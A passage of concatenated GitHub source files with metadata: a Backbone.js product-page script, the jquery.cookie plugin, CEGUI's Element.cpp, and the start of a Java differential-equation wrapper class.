this.tutorialId + "&user=" + this.userId; } return this.urlRoot; }, setUserId : function(userId) { this.userId = userId; }, setTutorialId : function(tutorialId) { this.tutorialId = tutorialId; }, }); /** Makeys **/ app.Makey = Backbone.Tastypie.Model.extend({ urlRoot : '/api/v1/makey_p/', idAttribute : 'id', defaults : { added_time : 'Now', description : '', votes : 0, cur_user_vote : 0, }, initialize : function() { this.bind('change:cur_user_vote', this.updateVoteBools, this); // if(this.get('user')==undefined) this.initCurUserVote(); }, initCurUserVote : function() { var curUserVotes = new app.VoteMakeyList(); curUserVotes.setUserId(cur_user_details.id); curUserVotes.setMakeyId(this.id); var that = this; curUserVotes.fetch({ success : function(model, response) { if(response.objects.length > 0){ if(response.objects[0].vote) that.set({'cur_user_vote' : 1}); else that.set({'cur_user_vote' : -1}); } else { that.set({'cur_user_vote' : 0}); } }, }); }, updateVoteBools : function() { var cur_user_vote = this.get('cur_user_vote'); if(cur_user_vote == 1) { this.set({ 'cur_user_upvote' : true, 'cur_user_downvote' : false, }); } else if(cur_user_vote == 0) { this.set({ 'cur_user_upvote' : false, 'cur_user_downvote' : false, }); } else { this.set({ 'cur_user_upvote' : false, 'cur_user_downvote' : true, }); } }, }); app.MakeyList = Backbone.Tastypie.Collection.extend({ model : app.Makey, urlRoot : '/api/v1/makey_p/?limit=0&parts={{product_id}}', initialize : function() { this.fetch(); }, }) app.MakeyView = Backbone.View.extend({ el : '#product_makeys', template : Handlebars.compile($('#makey_template').html()), initialize : function() { this.listenTo(app.makeys, 'add', this.addAll); this.listenTo(app.makeys, 'change', this.addAll); }, addAll : function() { $('#makeylist').html(''); app.makeys.each(this.render, this); }, render : function(model) { $('#makeylist').append(this.template(model.toJSON())); $('#makeylist').find('.tooltips').tooltip(); return this; }, events : { 'click #makeysubmit' : 'submitMakey', 'click .upvote' : 'upvoteMakey', 'click .downvote' : 'downvoteMakey', }, upvoteMakey : function(event) { var makey_id = parseInt(event.target.id.substring(7)); var newVote = new app.VoteMakey({ user : app.cur_fb_user, makeyId : makey_id, vote : true, }); newVote.save(null, { success : function(model, response) { var curMakey = app.makeys.get(makey_id); var cur_user_vote = parseInt(curMakey.get('cur_user_vote')); if(cur_user_vote == 1) { curMakey.set({'votes' : curMakey.get('votes')-1}); curMakey.set({'cur_user_vote' : 0}); } else if (cur_user_vote == 0) { curMakey.set({'votes' : curMakey.get('votes')+1}); curMakey.set({'cur_user_vote' : 1}); } else { curMakey.set({'votes' : curMakey.get('votes')+2}); curMakey.set({'cur_user_vote' : 1}); } }, }); }, downvoteMakey : function(event) { var makey_id = parseInt(event.target.id.substring(9)); var newVote = new app.VoteMakey({ user : app.cur_fb_user, makeyId : makey_id, vote : false, }); newVote.save(null, { success : function(model, response) { var curMakey = app.makeys.get(makey_id); var cur_user_vote = parseInt(curMakey.get('cur_user_vote')); if(cur_user_vote == 1) { curMakey.set({'votes' : curMakey.get('votes')-2}); curMakey.set({'cur_user_vote' : -1}); } else if(cur_user_vote == 0) { curMakey.set({'votes' : curMakey.get('votes')-1}); curMakey.set({'cur_user_vote' : -1}); } else { curMakey.set({'votes' : curMakey.get('votes')+1}); curMakey.set({'cur_user_vote' : 0}); } }, }); }, submitMakey : function(event) { var makey = $('#makey_input').val(); $('#makey_input').val(''); var makey_url = $('#makey_url_input').val(); $('makey_url_input').val(''); var newMakey = new app.Makey({ description : '', user : app.cur_fb_user, url : makey_url, parts : [ '/api/v1/product_p/' + app.product.get('id') + '/', ], name : makey, }); newMakey.save(null, { success : function(model, response) { app.makeys.add(response); }, }); }, }); app.VoteMakey = Backbone.Tastypie.Model.extend({ defaults : { user : '', vote : '', added_time : 'Now', makey : '', }, urlRoot : '/api/v1/votes/makey_p/', url : function() { if(this.id!=undefined) { return this.urlRoot + this.id + "/"; } else { return this.urlRoot; } }, initialize : function() { if(this.get('makeyId') != undefined) { this.set({'makey' : '/api/v1/makey_p/' + this.get('makeyId') + "/"}); } }, idAttribute : "id", }); app.VoteMakeyList = Backbone.Tastypie.Collection.extend({ model : app.VoteMakey, urlRoot : '/api/v1/votes/makey_p/', url : function() { if(this.userId != undefined && this.makeyId != undefined) { return this.urlRoot + "?makey=" + this.makeyId + "&user=" + this.userId; } return this.urlRoot; }, setUserId : function(userId) { this.userId = userId; }, setMakeyId : function(makeyId) { this.makeyId = makeyId; }, }); /** Product Main **/ app.Product = Backbone.Tastypie.Model.extend({ url : '/api/v1/product_p/{{product_id}}', idAttribute : "id", initialize : function() { this.fetch(); }, }); app.ProductView = Backbone.View.extend({ el : $('#product_info'), template : Handlebars.compile($('#product_template').html()), initialize : function() { this.listenTo(app.product, 'change', this.render); }, render : function() { this.$el.html(''); this.$el.find('.tooltips').tooltip(); this.$el.append(this.template(app.product.toJSON())); }, }); app.Router = Backbone.Router.extend({ routes: { "*actions": "defaultRoute" // matches http://example.com/#anything-here } }); // Initiate the router /** INTIALIZING **/ app.initializeUser(); // app.router= new app.Router(); // Backbone.history.start(); app.images = new app.ImageList(); app.descriptions = new app.ProductDescriptionList(); app.shopUrls = new app.ProductShopUrlList(); app.reviews = new app.ProductReviewList(); app.tutorials = new app.TutorialList(); app.makeys = new app.MakeyList(); app.likes = new app.ProductLikeList(); app.product = new app.Product(); app.productView = new app.ProductView(); app.shopurlView = new app.ProductShopUrlView(); app.tutorialsView = new app.TutorialView(); app.makeysView = new app.MakeyView(); app.reviewsView = new app.ProductReviewView(); app.descriptionsView = new app.ProductDescriptionView(); app.imagesView = new app.ImageView(); app.likesView = new app.ProductLikeView(); // This is the part that is specific to the router. After the entire data is loaded, a click function call to the corresponding element will trigger off the scroll. app.router = new app.Router; app.router.on('route:defaultRoute', function(actions) { // $('#a_reviews').click(); }) // Start Backbone history a necessary step for bookmarkable URL's Backbone.history.start(); </script>
{ "content_hash": "69677574c6c98c12b44c7710e10284e6", "timestamp": "", "source": "github", "line_count": 1154, "max_line_length": 164, "avg_line_length": 28.457538994800693, "alnum_prop": 0.5262180267965896, "repo_name": "Makeystreet/makeystreet", "id": "9d71276856be4de10b9a67c8490d1da719a545a9", "size": "32840", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "woot/apps/catalog/templates/catalog/bb/bb_product_page.html", "mode": "33188", "license": "apache-2.0", "language": [ { "name": "CSS", "bytes": "1893401" }, { "name": "HTML", "bytes": "2253311" }, { "name": "JavaScript", "bytes": "1698946" }, { "name": "Python", "bytes": "9010343" } ], "symlink_target": "" }
/** * Create a cookie with the given name and value and other optional parameters. * * @example $.cookie('the_cookie', 'the_value'); * @desc Set the value of a cookie. * @example $.cookie('the_cookie', 'the_value', { expires: 7, path: '/', domain: 'jquery.com', secure: true }); * @desc Create a cookie with all available options. * @example $.cookie('the_cookie', 'the_value'); * @desc Create a session cookie. * @example $.cookie('the_cookie', null); * @desc Delete a cookie by passing null as value. Keep in mind that you have to use the same path and domain * used when the cookie was set. * * @param String name The name of the cookie. * @param String value The value of the cookie. * @param Object options An object literal containing key/value pairs to provide optional cookie attributes. * @option Number|Date expires Either an integer specifying the expiration date from now on in days or a Date object. * If a negative value is specified (e.g. a date in the past), the cookie will be deleted. * If set to null or omitted, the cookie will be a session cookie and will not be retained * when the the browser exits. * @option String path The value of the path atribute of the cookie (default: path of page that created the cookie). * @option String domain The value of the domain attribute of the cookie (default: domain of page that created the cookie). * @option Boolean secure If true, the secure attribute of the cookie will be set and the cookie transmission will * require a secure protocol (like HTTPS). * @type undefined * * @name $.cookie * @cat Plugins/Cookie * @author Klaus Hartl/klaus.hartl@stilbuero.de */ /** * Get the value of a cookie with the given name. * * @example $.cookie('the_cookie'); * @desc Get the value of a cookie. * * @param String name The name of the cookie. * @return The value of the cookie. * @type String * * @name $.cookie * @cat Plugins/Cookie * @author Klaus Hartl/klaus.hartl@stilbuero.de */ jQuery.cookie = function (name, value, options) { if (typeof value != 'undefined') { // name and value given, set cookie options = options || {}; if (value === null) { value = ''; options.expires = -1; } var expires = ''; if (options.expires && (typeof options.expires == 'number' || options.expires.toUTCString)) { var date; if (typeof options.expires == 'number') { date = new Date(); date.setTime(date.getTime() + (options.expires * 24 * 60 * 60 * 1000)); } else { date = options.expires; } expires = '; expires=' + date.toUTCString(); // use expires attribute, max-age is not supported by IE } // CAUTION: Needed to parenthesize options.path and options.domain // in the following expressions, otherwise they evaluate to undefined // in the packed version for some reason... var path = options.path ? '; path=' + (options.path) : ''; var domain = options.domain ? '; domain=' + (options.domain) : ''; var secure = options.secure ? '; secure' : ''; document.cookie = [name, '=', encodeURIComponent(value), expires, path, domain, secure].join(''); } else { // only name given, get cookie var cookieValue = null; if (document.cookie && document.cookie != '') { var cookies = document.cookie.split(';'); for (var i = 0; i < cookies.length; i++) { var cookie = jQuery.trim(cookies[i]); // Does this cookie string begin with the name we want? if (cookie.substring(0, name.length + 1) == (name + '=')) { cookieValue = decodeURIComponent(cookie.substring(name.length + 1)); break; } } } return cookieValue; } };
{ "content_hash": "2f0a1a83056d05a95b7f535bf79a982f", "timestamp": "", "source": "github", "line_count": 88, "max_line_length": 122, "avg_line_length": 46.25, "alnum_prop": 0.5948402948402949, "repo_name": "SPDEVGUY/CALI-AI", "id": "aee624803dc8c798ac4e945fed1f50b530cc45d9", "size": "4292", "binary": false, "copies": "2", "ref": "refs/heads/master", "path": "Website/Scripts/ViewModels/Gen/Util/jquery.cookie.js", "mode": "33188", "license": "mit", "language": [ { "name": "ASP", "bytes": "96" }, { "name": "C#", "bytes": "641354" }, { "name": "CSS", "bytes": "35816" }, { "name": "JavaScript", "bytes": "61611" } ], "symlink_target": "" }
/*********************************************************************** created: 18/8/2011 author: Martin Preisler purpose: Implements the Element class *************************************************************************/ /*************************************************************************** * Copyright (C) 2004 - 2011 Paul D Turner & The CEGUI Development Team * * Permission is hereby granted, free of charge, to any person obtaining * a copy of this software and associated documentation files (the * "Software"), to deal in the Software without restriction, including * without limitation the rights to use, copy, modify, merge, publish, * distribute, sublicense, and/or sell copies of the Software, and to * permit persons to whom the Software is furnished to do so, subject to * the following conditions: * * The above copyright notice and this permission notice shall be * included in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. * IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR * OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, * ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR * OTHER DEALINGS IN THE SOFTWARE. ***************************************************************************/ #ifdef HAVE_CONFIG_H # include "config.h" #endif #include "CEGUI/Element.h" #include "CEGUI/CoordConverter.h" #include "CEGUI/System.h" #include "CEGUI/Logger.h" #include <algorithm> #if defined(_MSC_VER) # pragma warning(push) # pragma warning(disable : 4355) #endif // Start of CEGUI namespace section namespace CEGUI { const String Element::EventNamespace("Element"); const String Element::EventSized("Sized"); const String Element::EventParentSized("ParentSized"); const String Element::EventMoved("Moved"); const String Element::EventHorizontalAlignmentChanged("HorizontalAlignmentChanged"); const String Element::EventVerticalAlignmentChanged("VerticalAlignmentChanged"); const String Element::EventRotated("Rotated"); const String Element::EventChildAdded("ChildAdded"); const String Element::EventChildRemoved("ChildRemoved"); const String Element::EventZOrderChanged("ZOrderChanged"); const String Element::EventNonClientChanged("NonClientChanged"); //----------------------------------------------------------------------------// Element::Element(): d_parent(0), d_nonClient(false), d_area(cegui_reldim(0), cegui_reldim(0), cegui_reldim(0), cegui_reldim(0)), d_horizontalAlignment(HA_LEFT), d_verticalAlignment(VA_TOP), d_minSize(cegui_reldim(0), cegui_reldim(0)), d_maxSize(cegui_reldim(0), cegui_reldim(0)), d_aspectMode(AM_IGNORE), d_aspectRatio(1.0 / 1.0), d_pixelAligned(true), d_pixelSize(0.0f, 0.0f), d_rotation(1, 0, 0, 0), // <-- IDENTITY d_unclippedOuterRect(this, &Element::getUnclippedOuterRect_impl), d_unclippedInnerRect(this, &Element::getUnclippedInnerRect_impl) { addElementProperties(); } //----------------------------------------------------------------------------// Element::~Element() {} //----------------------------------------------------------------------------// Element::Element(const Element&): d_unclippedOuterRect(this, &Element::getUnclippedOuterRect_impl), d_unclippedInnerRect(this, &Element::getUnclippedInnerRect_impl) {} //----------------------------------------------------------------------------// void Element::setArea(const UVector2& pos, const USize& size) { setArea_impl(pos, size); } //----------------------------------------------------------------------------// void Element::notifyScreenAreaChanged(bool recursive /* = true */) { d_unclippedOuterRect.invalidateCache(); d_unclippedInnerRect.invalidateCache(); // inform children that their screen area must be updated if (recursive) { const size_t child_count = getChildCount(); for (size_t i = 0; i < child_count; ++i) d_children[i]->notifyScreenAreaChanged(); } } //----------------------------------------------------------------------------// void Element::setHorizontalAlignment(const HorizontalAlignment alignment) { if (d_horizontalAlignment == alignment) return; d_horizontalAlignment = alignment; ElementEventArgs args(this); onHorizontalAlignmentChanged(args); } //----------------------------------------------------------------------------// void Element::setVerticalAlignment(const VerticalAlignment alignment) { if (d_verticalAlignment == alignment) return; d_verticalAlignment = alignment; ElementEventArgs args(this); onVerticalAlignmentChanged(args); } //----------------------------------------------------------------------------// void Element::setMinSize(const USize& size) { d_minSize = size; // TODO: Perhaps we could be more selective and skip this if min size won't // affect the size setSize(getSize()); } //----------------------------------------------------------------------------// void Element::setMaxSize(const USize& size) { d_maxSize = size; // TODO: Perhaps we could be more selective and skip this if min size won't // affect the size setSize(getSize()); } //----------------------------------------------------------------------------// void Element::setAspectMode(AspectMode mode) { if (d_aspectMode == mode) return; d_aspectMode = mode; // TODO: We want an Event and more smart rect update handling // Ensure the area is calculated with the new aspect mode // TODO: This potentially wastes effort, we should just mark it as dirty // and postpone the calculation for as long as possible setArea(getArea()); } //----------------------------------------------------------------------------// void Element::setAspectRatio(float ratio) { if (d_aspectRatio == ratio) return; d_aspectRatio = ratio; // TODO: We want an Event and more smart rect update handling // Ensure the area is calculated with the new aspect ratio // TODO: This potentially wastes effort, we should just mark it as dirty // and postpone the calculation for as long as possible setArea(getArea()); } //----------------------------------------------------------------------------// void Element::setPixelAligned(const bool setting) { if (d_pixelAligned == setting) return; d_pixelAligned = setting; // TODO: We want an Event and more smart rect update handling // Ensure the area is calculated with the new pixel aligned setting // TODO: This potentially wastes effort, we should just mark it as dirty // and postpone the calculation for as long as possible setArea(getArea()); } //----------------------------------------------------------------------------// Sizef Element::calculatePixelSize(bool skipAllPixelAlignment) const { // calculate pixel sizes for everything, so we have a common format for // comparisons. Sizef absMin(CoordConverter::asAbsolute(d_minSize, getRootContainerSize(), false)); Sizef absMax(CoordConverter::asAbsolute(d_maxSize, getRootContainerSize(), false)); Sizef base_size; if (skipAllPixelAlignment) { base_size = Sizef((d_parent && !d_nonClient) ? d_parent->getUnclippedInnerRect().getFresh(true).getSize() : getParentPixelSize(true)); } else { base_size = Sizef((d_parent && !d_nonClient) ? d_parent->getUnclippedInnerRect().get().getSize() : getParentPixelSize()); } Sizef ret = CoordConverter::asAbsolute(d_area.getSize(), base_size, false); // in case absMin components are larger than absMax ones, // max size takes precedence if (absMax.d_width != 0.0f && absMin.d_width > absMax.d_width) { absMin.d_width = absMax.d_width; CEGUI_LOGINSANE("MinSize resulted in an absolute pixel size with " "width larger than what MaxSize resulted in"); } if (absMax.d_height != 0.0f && absMin.d_height > absMax.d_height) { absMin.d_height = absMax.d_height; CEGUI_LOGINSANE("MinSize resulted in an absolute pixel size with " "height larger than what MaxSize resulted in"); } // limit new pixel size to: minSize <= newSize <= maxSize if (ret.d_width < absMin.d_width) ret.d_width = absMin.d_width; else if (absMax.d_width != 0.0f && ret.d_width > absMax.d_width) ret.d_width = absMax.d_width; if (ret.d_height < absMin.d_height) ret.d_height = absMin.d_height; else if (absMax.d_height != 0.0f && ret.d_height > absMax.d_height) ret.d_height = absMax.d_height; if (d_aspectMode != AM_IGNORE) { // make sure we respect current aspect mode and ratio ret.scaleToAspect(d_aspectMode, d_aspectRatio); // make sure we haven't blown any of the hard limits // still maintain the aspect when we do this if (d_aspectMode == AM_SHRINK) { float ratio = 1.0f; // check that we haven't blown the min size if (ret.d_width < absMin.d_width) { ratio = absMin.d_width / ret.d_width; } if (ret.d_height < absMin.d_height) { const float newRatio = absMin.d_height / ret.d_height; if (newRatio > ratio) ratio = newRatio; } ret.d_width *= ratio; ret.d_height *= ratio; } else if (d_aspectMode == AM_EXPAND) { float ratio = 1.0f; // check that we haven't blown the min size if (absMax.d_width != 0.0f && ret.d_width > absMax.d_width) { ratio = absMax.d_width / ret.d_width; } if (absMax.d_height != 0.0f && ret.d_height > absMax.d_height) { const float newRatio = absMax.d_height / ret.d_height; if (newRatio > ratio) ratio = newRatio; } ret.d_width *= ratio; ret.d_height *= ratio; } // NOTE: When the hard min max limits are unsatisfiable with the aspect lock mode, // the result won't be limited by both limits! } if (d_pixelAligned) { ret.d_width = CoordConverter::alignToPixels(ret.d_width); ret.d_height = CoordConverter::alignToPixels(ret.d_height); } return ret; } //----------------------------------------------------------------------------// Sizef Element::getParentPixelSize(bool skipAllPixelAlignment) const { if (d_parent) { return skipAllPixelAlignment ? d_parent->calculatePixelSize(true) : d_parent->getPixelSize(); } else { return getRootContainerSize(); } } //----------------------------------------------------------------------------// const Sizef& Element::getRootContainerSize() const { return System::getSingleton().getRenderer()->getDisplaySize(); } //----------------------------------------------------------------------------// void Element::setRotation(const glm::quat& rotation) { d_rotation = rotation; ElementEventArgs args(this); onRotated(args); } //----------------------------------------------------------------------------// void Element::addChild(Element* element) { if (!element) CEGUI_THROW( InvalidRequestException("Can't add NULL to Element as a child!")); if (element == this) CEGUI_THROW( InvalidRequestException("Can't make element its own child - " "this->addChild(this); is forbidden.")); addChild_impl(element); ElementEventArgs args(element); onChildAdded(args); } //----------------------------------------------------------------------------// void Element::removeChild(Element* element) { if (!element) CEGUI_THROW( InvalidRequestException("NULL can't be a child of any Element, " "it makes little sense to ask for its " "removal")); removeChild_impl(element); ElementEventArgs args(element); onChildRemoved(args); } //----------------------------------------------------------------------------// bool Element::isChild(const Element* element) const { return std::find(d_children.begin(), d_children.end(), element) != d_children.end(); } //----------------------------------------------------------------------------// bool Element::isAncestor(const Element* element) const { if (!d_parent) { // no parent, no ancestor, nothing can be our ancestor return false; } return d_parent == element || d_parent->isAncestor(element); } //----------------------------------------------------------------------------// void Element::setNonClient(const bool setting) { if (setting == d_nonClient) { return; } d_nonClient = setting; ElementEventArgs args(this); onNonClientChanged(args); } //----------------------------------------------------------------------------// const Element::CachedRectf& Element::getClientChildContentArea() const { return getUnclippedInnerRect(); } //----------------------------------------------------------------------------// const Element::CachedRectf& Element::getNonClientChildContentArea() const { return getUnclippedOuterRect(); } //----------------------------------------------------------------------------// void Element::addElementProperties() { const String propertyOrigin("Element"); CEGUI_DEFINE_PROPERTY(Element, URect, "Area", "Property to get/set the unified area rectangle. Value is a \"URect\".", &Element::setArea, &Element::getArea, URect(UDim(0, 0), UDim(0, 0), UDim(0, 0), UDim(0, 0)) ); CEGUI_DEFINE_PROPERTY_NO_XML(Element, UVector2, "Position", "Property to get/set the unified position. Value is a \"UVector2\".", &Element::setPosition, &Element::getPosition, UVector2(UDim(0, 0), UDim(0, 0)) ); CEGUI_DEFINE_PROPERTY(Element, VerticalAlignment, "VerticalAlignment", "Property to get/set the vertical alignment. Value is one of \"Top\", \"Centre\" or \"Bottom\".", &Element::setVerticalAlignment, &Element::getVerticalAlignment, VA_TOP ); CEGUI_DEFINE_PROPERTY(Element, HorizontalAlignment, "HorizontalAlignment", "Property to get/set the horizontal alignment. Value is one of \"Left\", \"Centre\" or \"Right\".", &Element::setHorizontalAlignment, &Element::getHorizontalAlignment, HA_LEFT ); CEGUI_DEFINE_PROPERTY_NO_XML(Element, USize, "Size", "Property to get/set the unified size. Value is a \"USize\".", &Element::setSize, &Element::getSize, USize(UDim(0, 0), UDim(0, 0)) ); CEGUI_DEFINE_PROPERTY(Element, USize, "MinSize", "Property to get/set the unified minimum size. Value is a \"USize\".", &Element::setMinSize, &Element::getMinSize, USize(UDim(0, 0), UDim(0, 0)) ); CEGUI_DEFINE_PROPERTY(Element, USize, "MaxSize", "Property to get/set the unified maximum size. Value is a \"USize\". " "Note that zero means no maximum size.", &Element::setMaxSize, &Element::getMaxSize, USize(UDim(0, 0), UDim(0, 0)) ); CEGUI_DEFINE_PROPERTY(Element, AspectMode, "AspectMode", "Property to get/set the 'aspect mode' setting. Value is either \"Ignore\", \"Shrink\" or \"Expand\".", &Element::setAspectMode, &Element::getAspectMode, AM_IGNORE ); CEGUI_DEFINE_PROPERTY(Element, float, "AspectRatio", "Property to get/set the aspect ratio. Only applies when aspect mode is not \"Ignore\".", &Element::setAspectRatio, &Element::getAspectRatio, 1.0 / 1.0 ); CEGUI_DEFINE_PROPERTY(Element, bool, "PixelAligned", "Property to get/set whether the Element's size and position should be pixel aligned. " "Value is either \"true\" or \"false\".", &Element::setPixelAligned, &Element::isPixelAligned, true ); CEGUI_DEFINE_PROPERTY(Element, glm::quat, "Rotation", "Property to get/set the Element's rotation. Value is a quaternion: " "\"w:[w_float] x:[x_float] y:[y_float] z:[z_float]\"" "or \"x:[x_float] y:[y_float] z:[z_float]\" to convert from Euler angles (in degrees).", &Element::setRotation, &Element::getRotation, glm::quat(1.0, 0.0, 0.0, 0.0) ); CEGUI_DEFINE_PROPERTY(Element, bool, "NonClient", "Property to get/set whether the Element is 'non-client'. " "Value is either \"true\" or \"false\".", &Element::setNonClient, &Element::isNonClient, false ); } //----------------------------------------------------------------------------// void Element::setArea_impl(const UVector2& pos, const USize& size, bool topLeftSizing, bool fireEvents) { // we make sure the screen areas are recached when this is called as we need // it in most cases d_unclippedOuterRect.invalidateCache(); d_unclippedInnerRect.invalidateCache(); // save original size so we can work out how to behave later on const Sizef oldSize(d_pixelSize); d_area.setSize(size); d_pixelSize = calculatePixelSize(); // have we resized the element? const bool sized = (d_pixelSize != oldSize); // If this is a top/left edge sizing op, only modify position if the size // actually changed. If it is not a sizing op, then position may always // change. const bool moved = (!topLeftSizing || sized) && pos != d_area.d_min; if (moved) d_area.setPosition(pos); if (fireEvents) fireAreaChangeEvents(moved, sized); } //----------------------------------------------------------------------------// void Element::fireAreaChangeEvents(const bool moved, const bool sized) { if (moved) { ElementEventArgs args(this); onMoved(args); } if (sized) { ElementEventArgs args(this); onSized(args); } } //----------------------------------------------------------------------------// void Element::setParent(Element* parent) { d_parent = parent; } //----------------------------------------------------------------------------// void Element::addChild_impl(Element* element) { // if element is attached elsewhere, detach it first (will fire normal events) Element* const old_parent = element->getParentElement(); if (old_parent) old_parent->removeChild(element); // add element to child list d_children.push_back(element); // set the parent element element->setParent(this); // update area rects and content for the added element element->notifyScreenAreaChanged(true); // correctly call parent sized notification if needed. if (!old_parent || old_parent->getPixelSize() != getPixelSize()) { ElementEventArgs args(this); element->onParentSized(args); } } //----------------------------------------------------------------------------// void Element::removeChild_impl(Element* element) { // find this element in the child list ChildList::iterator it = std::find(d_children.begin(), d_children.end(), element); // if the element was found in the child list if (it != d_children.end()) { // remove element from child list d_children.erase(it); // reset element's parent so it's no longer this element. element->setParent(0); } } //----------------------------------------------------------------------------// Rectf Element::getUnclippedOuterRect_impl(bool skipAllPixelAlignment) const { const Sizef pixel_size = skipAllPixelAlignment ? calculatePixelSize(true) : getPixelSize(); Rectf ret(glm::vec2(0, 0), pixel_size); const Element* parent = getParentElement(); Rectf parent_rect; if (parent) { const CachedRectf& base = parent->getChildContentArea(isNonClient()); parent_rect = skipAllPixelAlignment ? base.getFresh(true) : base.get(); } else { parent_rect = Rectf(glm::vec2(0, 0), getRootContainerSize()); } const Sizef parent_size = parent_rect.getSize(); glm::vec2 offset = glm::vec2(parent_rect.d_min.d_x, parent_rect.d_min.d_y) + CoordConverter::asAbsolute(getArea().d_min, parent_size, false); switch (getHorizontalAlignment()) { case HA_CENTRE: offset.x += (parent_size.d_width - pixel_size.d_width) * 0.5f; break; case HA_RIGHT: offset.x += parent_size.d_width - pixel_size.d_width; break; default: break; } switch (getVerticalAlignment()) { case VA_CENTRE: offset.y += (parent_size.d_height - pixel_size.d_height) * 0.5f; break; case VA_BOTTOM: offset.y += parent_size.d_height - pixel_size.d_height; break; default: break; } if (d_pixelAligned && !skipAllPixelAlignment) { offset = glm::vec2(CoordConverter::alignToPixels(offset.x), CoordConverter::alignToPixels(offset.y)); } ret.offset(offset); return ret; } //----------------------------------------------------------------------------// Rectf Element::getUnclippedInnerRect_impl(bool skipAllPixelAlignment) const { return skipAllPixelAlignment ? getUnclippedOuterRect().getFresh(true) : getUnclippedOuterRect().get(); } //----------------------------------------------------------------------------// void Element::onSized(ElementEventArgs& e) { notifyScreenAreaChanged(false); notifyChildrenOfSizeChange(true, true); fireEvent(EventSized, e, EventNamespace); } //----------------------------------------------------------------------------// void Element::notifyChildrenOfSizeChange(const bool non_client, const bool client) { const size_t child_count = getChildCount(); for (size_t i = 0; i < child_count; ++i) { Element * const child = d_children[i]; if ((non_client && child->isNonClient()) || (client && !child->isNonClient())) { ElementEventArgs args(this); d_children[i]->onParentSized(args); } } } //----------------------------------------------------------------------------// void Element::onParentSized(ElementEventArgs& e) { d_unclippedOuterRect.invalidateCache(); d_unclippedInnerRect.invalidateCache(); const Sizef oldSize(d_pixelSize); d_pixelSize = calculatePixelSize(); const bool sized = (d_pixelSize != oldSize) || isInnerRectSizeChanged(); const bool moved = ((d_area.d_min.d_x.d_scale != 0) || (d_area.d_min.d_y.d_scale != 0) || (d_horizontalAlignment != HA_LEFT) || (d_verticalAlignment != VA_TOP)); fireAreaChangeEvents(moved, sized); fireEvent(EventParentSized, e, EventNamespace); } //----------------------------------------------------------------------------// void Element::onMoved(ElementEventArgs& e) { notifyScreenAreaChanged(); fireEvent(EventMoved, e, EventNamespace); } //----------------------------------------------------------------------------// void Element::onHorizontalAlignmentChanged(ElementEventArgs& e) { notifyScreenAreaChanged(); fireEvent(EventHorizontalAlignmentChanged, e, EventNamespace); } //----------------------------------------------------------------------------// void Element::onVerticalAlignmentChanged(ElementEventArgs& e) { notifyScreenAreaChanged(); fireEvent(EventVerticalAlignmentChanged, e, EventNamespace); } //----------------------------------------------------------------------------// void Element::onRotated(ElementEventArgs& e) { fireEvent(EventRotated, e, EventNamespace); } //----------------------------------------------------------------------------// void Element::onChildAdded(ElementEventArgs& e) { fireEvent(EventChildAdded, e, EventNamespace); } //----------------------------------------------------------------------------// void Element::onChildRemoved(ElementEventArgs& e) { fireEvent(EventChildRemoved, e, EventNamespace); } //----------------------------------------------------------------------------// void Element::onNonClientChanged(ElementEventArgs& e) { // TODO: Be less wasteful with this update setArea(getArea()); fireEvent(EventNonClientChanged, e, EventNamespace); } #if defined(_MSC_VER) # pragma warning(pop) #endif } // End of CEGUI namespace section
{ "content_hash": "9cda56758bf0e9c1e625d872802e033e", "timestamp": "", "source": "github", "line_count": 751, "max_line_length": 145, "avg_line_length": 33.50732356857523, "alnum_prop": 0.5512637100619934, "repo_name": "ruleless/CEGUI", "id": "8f127743ab55cd3d0eac24d35e110d012266d29f", "size": "25164", "binary": false, "copies": "2", "ref": "refs/heads/master", "path": "cegui/src/Element.cpp", "mode": "33188", "license": "mit", "language": [ { "name": "Batchfile", "bytes": "141" }, { "name": "C", "bytes": "408531" }, { "name": "C++", "bytes": "20355368" }, { "name": "CMake", "bytes": "268197" }, { "name": "Lua", "bytes": "131055" }, { "name": "Python", "bytes": "92177" }, { "name": "Shell", "bytes": "333" } ], "symlink_target": "" }
package cz.cuni.mff.d3s.deeco.analysis.entities; import com.google.common.base.Optional; import cz.cuni.mff.d3s.deeco.analysis.core.DifferentialEquations; import cz.cuni.mff.d3s.deeco.analysis.core.ErrorReporter; import cz.cuni.mff.d3s.deeco.analysis.def.FuncWithEquationSet; import cz.cuni.mff.d3s.deeco.analysis.integrators.IntegratorProvider; import cz.cuni.mff.d3s.deeco.analysis.interval.impl.DoubleInterval; /** * Wrapper for evaluation functions represented by a set of differential equations. This class is * responsible for solving the differential equation using tables of derivatives and by equations * given by the user. */ public class FuncWrapperDifferential extends FuncWrapperBase { /** Integrator provider which can give us an implementation of the solver. */ private IntegratorProvider integratorProvider; /** Wrapper with implementation of equations defined by the user. */ private Optional<FuncWithEquationSet> funcWithEquationSet; /** Differential equations used by the integrator. */ DifferentialEquations upperBoundEquations; DifferentialEquations lowerBoundEquations; public FuncWrapperDifferential( IntegratorProvider integratorProvider, boolean doCartesianProduct) { super(doCartesianProduct); this.integratorProvider = integratorProvider; this.funcWithEquationSet = Optional.absent(); } public FuncWrapperDifferential( IntegratorProvider integratorProvider, boolean doCartesianProduct, FuncWithEquationSet funcWithEquationSet) { super(doCartesianProduct); this.integratorProvider = integratorProvider; this.funcWithEquationSet = Optional.of(funcWithEquationSet); } /** Returns wrapper with implementation of equations defined by the user. Empty if not given. */ public Optional<FuncWithEquationSet> getEquationSetFunc() { return funcWithEquationSet; } @Override public void evaluateVector(int delay) { // Prepare arrays of tables of derivatives for upper and lower bounds. TableOfDerivatives[] upperTables = new TableOfDerivatives[inputKnowledgeFields.size()]; TableOfDerivatives[] lowerTables = new TableOfDerivatives[inputKnowledgeFields.size()]; for(int i = 0; i < inputKnowledgeFields.size(); ++i) { KnowledgeField<?> inputField = inputKnowledgeFields.get(i); /* Set field's tables of derivatives. */ if (inputField instanceof KnowledgeFieldViaTable) { upperTables[i]=((KnowledgeFieldViaTable)inputField).getUpperBoundTable(); lowerTables[i]=((KnowledgeFieldViaTable)inputField).getLowerBoundTable(); } } // Create differential equations that will be passed to the step integrator. upperBoundEquations = new DifferentialEquations(upperTables, 